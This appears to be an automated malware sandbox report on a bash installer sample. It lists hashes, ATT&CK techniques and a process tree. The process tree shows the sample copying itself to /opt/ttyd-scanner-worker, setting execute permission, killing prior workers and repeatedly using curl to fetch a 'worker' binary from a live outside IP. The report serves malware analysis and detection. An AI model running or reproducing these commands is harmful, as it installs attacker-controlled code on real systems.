8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3

Analysis

max time kernel
17s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
19/08/2026, 03:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
Size 12KB
Sample260819-dmlevscf93
SHA256 8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
MD5 48a0eff45f191a6e300368565a412d55
SHA1 4de34e0f692e95f1ab8f7b4bd1f3bac8c1282043
SHA512 5128c2f8a00932bfc7b0ca63bd72d1de8a626a73e27fa79c54265ff0b0e3deb7763e16eb89185a952e304153ea850e695e34ef18432ba262254ff2084026e6e0
SSDEEP 192:NIMA43oioxOGNHVNOkHsK8A3hp+oYLHCnRpyHNhGn48sGspfq:NIMExHH8noXn88tR
TLSH
T12F4274B1D62408757568CC2D973B2D14388B353AF2A920A0B49EF8CD3FFD254EA26775
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1494	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/893/cmdline	pkill
File opened for reading	/proc/953/status	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/31/status	pkill
File opened for reading	/proc/565/status	pkill
File opened for reading	/proc/1058/cmdline	pkill
File opened for reading	/proc/1076/cmdline	pkill
File opened for reading	/proc/1239/status	pkill
File opened for reading	/proc/meminfo	awk
File opened for reading	/proc/467/cmdline	pkill
File opened for reading	/proc/957/status	pkill
File opened for reading	/proc/959/cmdline	pkill
File opened for reading	/proc/1450/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/137/status	pkill
File opened for reading	/proc/203/cmdline	pkill
File opened for reading	/proc/957/cmdline	pkill
File opened for reading	/proc/1296/cmdline	pkill
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/89/cmdline	pkill
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/160/cmdline	pkill
File opened for reading	/proc/257/status	pkill
File opened for reading	/proc/565/cmdline	pkill
File opened for reading	/proc/1079/cmdline	pkill
File opened for reading	/proc/478/cmdline	pkill
File opened for reading	/proc/493/cmdline	pkill
File opened for reading	/proc/1003/cmdline	pkill
File opened for reading	/proc/1134/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/161/cmdline	pkill
File opened for reading	/proc/173/status	pkill
File opened for reading	/proc/178/cmdline	pkill
File opened for reading	/proc/901/status	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/34/status	pkill
File opened for reading	/proc/36/status	pkill
File opened for reading	/proc/161/status	pkill
File opened for reading	/proc/171/status	pkill
File opened for reading	/proc/462/status	pkill
File opened for reading	/proc/466/status	pkill
File opened for reading	/proc/476/status	pkill
File opened for reading	/proc/492/status	pkill
File opened for reading	/proc/597/cmdline	pkill
File opened for reading	/proc/669/status	pkill
File opened for reading	/proc/1118/status	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/173/cmdline	pkill
File opened for reading	/proc/655/cmdline	pkill
File opened for reading	/proc/898/status	pkill
File opened for reading	/proc/976/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/18/status	pkill
File opened for reading	/proc/168/status	pkill
File opened for reading	/proc/406/status	pkill
File opened for reading	/proc/423/status	pkill
File opened for reading	/proc/664/status	pkill
File opened for reading	/proc/35/cmdline	pkill
File opened for reading	/proc/172/cmdline	pkill

/tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
/tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:1483

/usr/local/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:1483

/usr/local/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:1483

/usr/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:1483

/usr/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:1483

/sbin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:1483

/bin/bash
bash /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
1⤵
PID:1483
- /usr/bin/id
  id -u
  2⤵
  PID:1485
- /usr/bin/awk
  awk "/MemAvailable/ {print \$2; exit}" /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:1487
- /usr/bin/nproc
  nproc
  2⤵
  PID:1489
- /bin/mkdir
  mkdir -p /opt/ttyd-scanner-worker
  2⤵
  PID:1491
- /bin/cp
  cp /tmp/8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3 /opt/ttyd-scanner-worker/installer.sh
  2⤵
  PID:1493
- /bin/chmod
  chmod +x /opt/ttyd-scanner-worker/installer.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1494

/usr/bin/nohup
nohup bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:1495

/usr/local/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:1495

/usr/local/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:1495

/usr/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:1495

/usr/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:1495

/sbin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:1495

/bin/bash
bash /opt/ttyd-scanner-worker/installer.sh
1⤵
PID:1495
- /usr/bin/id
  id -u
  2⤵
  PID:1497
- /usr/bin/awk
  awk "/MemAvailable/ {print \$2; exit}" /proc/meminfo
  2⤵
  - Reads runtime system information
  PID:1500
- /usr/bin/nproc
  nproc
  2⤵
  PID:1502
- /bin/mkdir
  mkdir -p /opt/ttyd-scanner-worker
  2⤵
  PID:1503
- /usr/bin/pkill
  pkill -9 -f /opt/ttyd-scanner-worker/worker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1505
- /bin/sleep
  sleep 0.5
  2⤵
  PID:1507
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:1512
- /bin/sleep
  sleep 3
  2⤵
  PID:1513
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:1514
- /bin/sleep
  sleep 3
  2⤵
  PID:1515
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:1516
- /bin/sleep
  sleep 3
  2⤵
  PID:1517
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:1518
- /bin/sleep
  sleep 3
  2⤵
  PID:1519
- /usr/bin/curl
  curl -fL --progress-bar --retry 3 --retry-delay 2 --connect-timeout 15 --speed-time 30 --speed-limit 1024 -o /opt/ttyd-scanner-worker/worker http://45.84.222.80:8080/dl/worker
  2⤵
  PID:1520
- /bin/sleep
  sleep 3
  2⤵
  PID:1521

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

installer.sh

Path /opt/ttyd-scanner-worker/installer.sh
Size 12KB
SHA256 8b7b199ad946014b126cad5706f7512f958b6ef34b4bb0d4f96557c7be2ca0a3
MD5 48a0eff45f191a6e300368565a412d55
SHA1 4de34e0f692e95f1ab8f7b4bd1f3bac8c1282043
SHA512 5128c2f8a00932bfc7b0ca63bd72d1de8a626a73e27fa79c54265ff0b0e3deb7763e16eb89185a952e304153ea850e695e34ef18432ba262254ff2084026e6e0
SSDEEP 192:NIMA43oioxOGNHVNOkHsK8A3hp+oYLHCnRpyHNhGn48sGspfq:NIMExHH8noXn88tR
TLSH
T12F4274B1D62408757568CC2D973B2D14388B353AF2A920A0B49EF8CD3FFD254EA26775
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 322B
SHA256 eac4ff6410909de6c87930f3165ac12eece3dbb9e4700d26515ef33048658261
MD5 32e96474e566c57b4f2374f04aa31109
SHA1 d119a4ab3b8418e786c8cbaea40d8b9da26a4b23
SHA512 eca33b8418a32c853f5392faac303f9fed2d3be9babcc70b455132a28fc3a6acde5c2cc76e29eef38b44111efcf499876338253c85d3fe6310a4ac1ca66a89ff
TLSH
T145E012764C0022357654D77C73107B51938D7068B4A47472F20E791513EF1A606C76FE
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 393B
SHA256 4fc889211ce15b3d7f2515d5732e5176ac04ba0a41176947c8f1f82086c9fff2
MD5 3720a98815668fb6000bfb9362d34251
SHA1 d5306b63d6c19cb8e854e9adfe8910299006e2bf
SHA512 1b9833e09d114cf172cb677673e7fea771a1d237b10e82e3d74864ebade7236f05c005d042276addc901b241cb7dd768dec826072254bb91bbcf117bf179896c
TLSH
T199E05E734C21362177A4C7ACB360BA51868DB06874987872F24E761453EE2A906C72BD
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 437B
SHA256 fb606a6fb1f5163cd70e6aff03e2a7124bb89d7a1bc56fbf054809970ea600ff
MD5 3af347c1cd0b3e149ef0f0f9bb384bca
SHA1 c3d0568de3ffc96b41dc4c96355445882f90e63e
SHA512 6c381f3b2529d59e762ab18b58c7abc0a5cad5bdfb82a727a4d988b691d13bf275e4f05ba0b0a023fff33765406f65f2ea91d855fe742133e5012a462ff52704
TLSH
T17EE0C2B30C213126B7A0C3ACB750BB40864C7028B4587833F20E765153EE29906D72BD
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 655B
SHA256 fd63be70ae4e782d07e48d1ad11e8763eb422c1ed11da477067dce29eaedbc71
MD5 4c8d10e1c6c9eb2f8aacbec992759f11
SHA1 6cb4f20b6267fd708575fc9821beefadbf32be75
SHA512 cd1c6fb053efb6fca27fac67a2818e27a51cf4d0d5d8fd0cbfdab2ec691c3b781957e772a6d48d7ed9429b6038fcccc3b86ea7f72b2c1214ffd62f168c261728
TLSH
T1E3F05C7B0C212126B3A0C36C76647761CA8C701435287472F10E764553EE19905E71BE
MD5 SHA1 SHA512 TLSH

Submit Download

nohup.log

Path /opt/ttyd-scanner-worker/nohup.log
Size 1KB
SHA256 6f096c07ca62fd95c0b6796a1c693a9f519a20b41f414bb68c8c893d0b2960a9
MD5 12702343506bd2596f03ea985ea2d43e
SHA1 41d8ba98308fb5d2d9f756d9c3026a370914443b
SHA512 cb13a39a1e8f4cc3923f21f50593234fe5ac74278eeed095696832bd0c170cd32bc1e20054585fd3801c9066631a22bb4732a64f34cadb94f8c3dfefd6157254
TLSH
T17731AB7D18A711AAB260C17C75AC1331C9C47A06372681B0F00D7ACD67DDD1544FA6BA
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads